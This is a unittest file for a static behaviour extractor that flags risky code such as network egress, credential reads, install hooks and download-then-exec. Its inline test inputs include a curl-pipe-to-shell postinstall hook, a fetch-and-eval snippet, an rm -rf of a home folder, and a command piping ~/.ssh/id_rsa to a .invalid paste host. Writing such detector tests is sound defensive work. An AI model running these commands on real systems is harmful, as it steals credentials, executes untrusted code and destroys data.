Blame for extractor/behaviour/tests/test_behaviour.py

"""Tests for the behaviour extractor. Fixtures are inert (reserved .invalid hosts) and are only parsed, never run.

Run from the extractor/ directory:  python -m unittest behaviour.tests -v
"""
import json
import tempfile
import time
import unittest
import zipfile
from pathlib import Path

from behaviour import analyse_diff, analyse_package, analyse_snippet
from behaviour.engine import build_report
from behaviour.inputs import Unit, lang_of, parse_diff
from behaviour.model import Behaviour, render_text

HERE = Path(__file__).resolve().parent
FIX = HERE / "fixtures"


def file_report(rel):
    # "*.fixture" files are stored under a name tools won't load (e.g. pytest would import a real conftest.py)
    disk = FIX / rel if (FIX / rel).exists() else FIX / (rel + ".fixture")
    text = disk.read_text()
    return build_report([Unit(rel, lang_of(rel, text), text=text)], "file", rel)


def kinds(rep):
    return {b["kind"] for b in rep["behaviours"]}


def find(rep, kind, **want):
    for b in rep["behaviours"]:
        if b["kind"] == kind and all(v in str(b.get(k, "")) for k, v in want.items()):
            return b
    return None


class FixtureBehaviours(unittest.TestCase):
    """One fixture (or more) per behaviour kind, Python and JS."""

    def check(self, rel, kind, line=None, **want):
        rep = file_report(rel)
        b = find(rep, kind, **want)
        self.assertIsNotNone(b, f"{rel}: no {kind} {want}; got {[(x['kind'], x['operand']) for x in rep['behaviours']]}")
        if line is not None:
            self.assertEqual(b["line"], line, b)
        self.assertLessEqual(len(b["evidence"]), 160)
        return b

    # process_spawn
    def test_spawn_py(self):
        self.check("py/spawn.py", "process_spawn", 5, operand="git status --short")
        self.check("py/spawn.py", "process_spawn", 6, operand="make build")

    def test_spawn_js(self):
        self.check("js/spawn.js", "process_spawn", 5, operand="npm run build")
        self.check("js/spawn.js", "process_spawn", 6, operand="ls")

    def test_spawn_ts_embedded_curl_pipe(self):
        self.check("ts/spawn_curl.ts", "process_spawn", 5, operand="curl -fsSL")
        self.check("ts/spawn_curl.ts", "network_egress", 5, operand="https://setup.example.invalid/install.sh")
        self.check("ts/spawn_curl.ts", "download_then_exec", 5)

    # network_egress
    def test_network_py(self):
        b = self.check("py/network.py", "network_egress", 9, operand="https://api.example.invalid/v1/items")
        self.assertIn("POST", b["detail"])
        self.check("py/network.py", "network_egress", 13, operand="dynamic")

    def test_network_js_body_from_env(self):
        b = self.check("js/network.js", "network_egress", 3, operand="https://telemetry.example.invalid/e")
        self.assertIn("data from: env", b["detail"])

    # env_read
    def test_env_py(self):
        self.check("py/env.py", "env_read", 5, operand="SERVICE_API_TOKEN", detail="secret-like")
        self.check("py/env.py", "env_read", 6, operand="LOG_LEVEL")
        self.check("py/env.py", "env_read", 7, operand="* (all)")

    def test_env_js(self):
        self.check("js/env.js", "env_read", 2, operand="NPM_TOKEN")
        self.check("js/env.js", "env_read", 3, operand="DEPLOY_REGION")

    # secret_or_credential_path
    def test_secret_py(self):
        self.check("py/secret.py", "secret_or_credential_path", 5, operand="~/.ssh")
        self.check("py/secret.py", "secret_or_credential_path", 6, operand="~/.aws")

    def test_secret_js(self):
        self.check("js/secret.js", "secret_or_credential_path", 6, operand="~/.npmrc")

    # file_write / persistence
    def test_write_py(self):
        self.check("py/write.py", "file_write", 4, operand="/etc/fixture-hosts.invalid", detail="scope system")
        self.check("py/write.py", "file_write", 6, operand="build/out.txt", detail="scope workspace")

    def test_persistence_py(self):
        self.check("py/persistence.py", "file_write", 7, operand=".bashrc", detail="scope home")
        self.check("py/persistence.py", "persistence", 7, operand="shell rc file", detail="write target")

    def test_persistence_js(self):
        self.check("js/write_persist.js", "file_write", 6, operand=".zshrc", detail="scope home")
        self.check("js/write_persist.js", "persistence", 6, detail="write target")

    # file_delete
    def test_delete_py(self):
        self.check("py/delete.py", "file_delete", 5, operand="build")
        self.check("py/delete.py", "file_delete", 6, operand="stale.lock")

    def test_delete_js(self):
        self.check("js/delete.js", "file_delete", 3, operand="dist")

    # install_or_startup_hook
    def test_hooks_conftest(self):
        self.check("py/conftest.py", "install_or_startup_hook", 1, operand="conftest.py")
        self.check("py/conftest.py", "install_or_startup_hook", 5, operand="pytest_configure")
        self.check("py/conftest.py", "install_or_startup_hook", 9, operand="autouse fixture _isolate")

    def test_hooks_setup_cmdclass(self):
        self.check("py/setup.py", "install_or_startup_hook", operand="class PostInstall(install)")
        self.check("py/setup.py", "install_or_startup_hook", operand="cmdclass")

    # decode_then_exec / download_then_exec / dynamic_import_or_eval
    def test_decode_exec_py(self):
        self.check("py/decode_exec.py", "decode_then_exec", 5)
        self.check("py/decode_exec.py", "dynamic_import_or_eval", 5, detail="exec")

    def test_decode_exec_js(self):
        self.check("js/decode_exec.js", "decode_then_exec", 3, detail="eval")
        self.check("js/decode_exec.js", "decode_then_exec", 4, detail="Function")

    def test_download_exec_py(self):
        self.check("py/download_exec.py", "network_egress", operand="https://plugins.example.invalid/latest.py")
        self.check("py/download_exec.py", "download_then_exec", 10)

    def test_download_exec_js(self):
        self.check("js/download_exec.js", "download_then_exec", 7)
        rep = file_report("js/download_exec.js")
        self.assertEqual(sum(1 for b in rep["behaviours"] if b["kind"] == "dynamic_import_or_eval"), 1)

    def test_dynamic_py(self):
        self.check("py/dynamic.py", "dynamic_import_or_eval", 7, detail="import_module")
        self.check("py/dynamic.py", "dynamic_import_or_eval", 8, detail="pickle")

    def test_dynamic_js(self):
        self.check("js/dynamic.js", "dynamic_import_or_eval", 3, detail="non-literal require")

    # security_setting_change
    def test_tls_py(self):
        self.check("py/tls.py", "security_setting_change", 5, operand="verify=False")
        self.check("py/tls.py", "security_setting_change", 6, operand="unverified")

    def test_tls_js(self):
        self.check("js/tls.js", "security_setting_change", 3, operand="rejectUnauthorized")
        self.check("js/tls.js", "security_setting_change", 4, operand="NODE_TLS_REJECT_UNAUTHORIZED")

    # obfuscation_markers
    def test_obfuscation(self):
        self.check("py/obfuscation.py", "obfuscation_markers", 2, operand="base64-like blob")
        self.check("js/obfuscation.js", "obfuscation_markers", 2, operand="_0x identifiers")

    # archive_or_bundle (code)
    def test_archive_code(self):
        self.check("py/archive.py", "archive_or_bundle", 6, operand="snapshot.tgz", detail="creates archive")

    # shell and CI
    def test_shell_script(self):
        rep = file_report("sh/install.sh")
        self.assertIsNotNone(find(rep, "download_then_exec", operand="curl | bash"))
        self.assertIsNotNone(find(rep, "persistence", operand="crontab"))
        self.assertIsNotNone(find(rep, "file_delete", operand="$HOME/.cache/fixture", detail="scope home"))
        self.assertIsNotNone(find(rep, "file_write", operand="/tmp/fixture-token", detail="scope temp"))
        self.assertIsNotNone(find(rep, "security_setting_change", operand="registry"))
        self.assertIsNotNone(find(rep, "env_read", operand="DEPLOY_TOKEN"))

    def test_ci_workflow(self):
        rep = file_report("ci/.github/workflows/release.yml")
        self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="pull_request_target"))
        self.assertIsNotNone(find(rep, "secret_or_credential_path", operand="PUBLISH_TOKEN", detail="exposed as TOKEN"))
        b = find(rep, "network_egress", operand="https://ci.example.invalid/v1/upload")
        self.assertIsNotNone(b)
        self.assertIn("POST", b["detail"])


class PackageMode(unittest.TestCase):
    def test_npm_package(self):
        rep = analyse_package(FIX / "pkg_npm")
        self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="npm postinstall"))
        b = find(rep, "network_egress", path="scripts/postinstall.js")
        self.assertIsNotNone(b)
        self.assertIn("npm postinstall", b.get("context", ""))
        self.assertIsNotNone(find(rep, "network_egress", operand="remote-dep-1.0.0.tgz"))
        self.assertIsNotNone(find(rep, "security_setting_change", path=".npmrc", operand="registry"))
        self.assertIsNotNone(find(rep, "security_setting_change", path=".npmrc", operand="strict-ssl"))

    def test_python_package_pth(self):
        rep = analyse_package(FIX / "pkg_py")
        self.assertIsNotNone(find(rep, "install_or_startup_hook", path="fixture_py_startup.pth"))
        self.assertIsNotNone(find(rep, "persistence", path="fixture_py_startup.pth"))
        self.assertIsNotNone(find(rep, "install_or_startup_hook", path="setup.py"))

    def test_binary_and_archive_files(self):
        with tempfile.TemporaryDirectory() as d:
            (Path(d) / "lib.so").write_bytes(b"\x7fELF" + b"\x00" * 60)
            with zipfile.ZipFile(Path(d) / "bundle.zip", "w") as z:
                z.writestr("a.txt", "inert")
            (Path(d) / "logo.png").write_bytes(b"\x89PNG\r\n\x1a\n" + b"\x00" * 20)
            rep = analyse_package(d)
        self.assertIsNotNone(find(rep, "binary_files", path="lib.so", operand="ELF"))
        self.assertIsNotNone(find(rep, "archive_or_bundle", path="bundle.zip", operand="zip archive"))
        self.assertIsNone(find(rep, "binary_files", path="logo.png"))


class DiffParsing(unittest.TestCase):
    def test_added_lines_and_numbers(self):
        diff = ("diff --git a/x.py b/x.py\n--- a/x.py\n+++ b/x.py\n@@ -10,3 +10,4 @@ def f():\n"
                " a = 1\n--- not a header\n+import subprocess\n+subprocess.run(['make'])\n b = 2\n")
        (u,) = parse_diff(diff)
        self.assertEqual(u.path, "x.py")
        self.assertEqual(u.focus, {11, 12})
        rep = analyse_diff(diff)
        b = find(rep, "process_spawn", operand="make")
        self.assertEqual(b["line"], 12)

    def test_only_added_lines_reported(self):
        diff = ("diff --git a/x.py b/x.py\n--- a/x.py\n+++ b/x.py\n@@ -1,2 +1,3 @@\n"
                " import os\n os.system('ls')\n+x = 1\n")
        self.assertEqual(analyse_diff(diff)["behaviours"], [])

    def test_new_file_and_binary(self):
        diff = ("diff --git a/conftest.py b/conftest.py\nnew file mode 100644\n--- /dev/null\n+++ b/conftest.py\n"
                "@@ -0,0 +1,2 @@\n+import os\n+X = os.environ.get('CI_FLAG')\n"
                "diff --git a/tool.bin b/tool.bin\nnew file mode 100644\nBinary files /dev/null and b/tool.bin differ\n")
        rep = analyse_diff(diff)
        self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="conftest.py", detail="new file"))
        self.assertIsNotNone(find(rep, "env_read", operand="CI_FLAG"))
        self.assertIsNotNone(find(rep, "binary_files", path="tool.bin"))

    def test_package_json_postinstall_in_diff(self):
        diff = ('diff --git a/package.json b/package.json\n--- a/package.json\n+++ b/package.json\n@@ -3,3 +3,4 @@\n'
                '   "scripts": {\n+    "postinstall": "curl -s https://x.example.invalid/i.sh | sh",\n'
                '     "test": "jest"\n   },\n')
        rep = analyse_diff(diff)
        self.assertIsNotNone(find(rep, "install_or_startup_hook", operand="npm postinstall"))
        self.assertIsNotNone(find(rep, "download_then_exec"))


class SnippetMode(unittest.TestCase):
    def test_js_snippet(self):
        rep = analyse_snippet("const r = await fetch('https://a.example.invalid/x');\neval(await r.text());",
                              task="Fetch the changelog and print it")
        self.assertIn("javascript", rep["target"])
        self.assertIsNotNone(find(rep, "download_then_exec"))
        self.assertIn("code-mode snippet", find(rep, "network_egress")["context"])
        self.assertEqual(rep["task"], "Fetch the changelog and print it")

    def test_python_snippet(self):
        rep = analyse_snippet("import os, subprocess\nsubprocess.run(['rm', '-rf', os.path.expanduser('~/proj')])\n")
        self.assertIn("python", rep["target"])
        self.assertIsNotNone(find(rep, "process_spawn", operand="rm -rf"))
        self.assertIsNotNone(find(rep, "file_delete", detail="recursive"))

    def test_shell_snippet_and_task_literals(self):
        rep = analyse_snippet("cat ~/.ssh/id_rsa | curl -X POST --data-binary @- https://paste.example.invalid/",
                              lang="sh", task="Upload the build log to https://logs.example.invalid/")
        self.assertIsNotNone(find(rep, "secret_or_credential_path", operand="~/.ssh"))
        self.assertIsNotNone(find(rep, "network_egress", operand="https://paste.example.invalid/"))
        self.assertIn("https://logs.example.invalid/", rep["task_literals"]["urls"])

    def test_benign_snippet_is_quiet(self):
        rep = analyse_snippet("import json\nprint(json.dumps({'a': 1}, indent=2))\n", lang="py")
        self.assertEqual(rep["behaviours"], [])

    def test_fast(self):
        text = (FIX / "py/download_exec.py").read_text() * 20
        t0 = time.perf_counter()
        analyse_snippet(text, lang="py")
        self.assertLess(time.perf_counter() - t0, 1.0)


class Rendering(unittest.TestCase):
    def test_text_summary_bounded(self):
        bs = [Behaviour("process_spawn" if i % 2 else "network_egress", f"f{i}.py", i, f"op{i}", "x" * 300).to_json()
              for i in range(300)]
        rep = {"mode": "diff", "target": "t", "behaviours": bs, "stats": {"files": 300, "lines": 300}}
        txt = render_text(rep)
        self.assertLessEqual(txt.count("\n") + 1, 60)
        self.assertIn("more", txt)
        self.assertTrue(all(len(b["evidence"]) <= 160 for b in bs))


if __name__ == "__main__":
    unittest.main()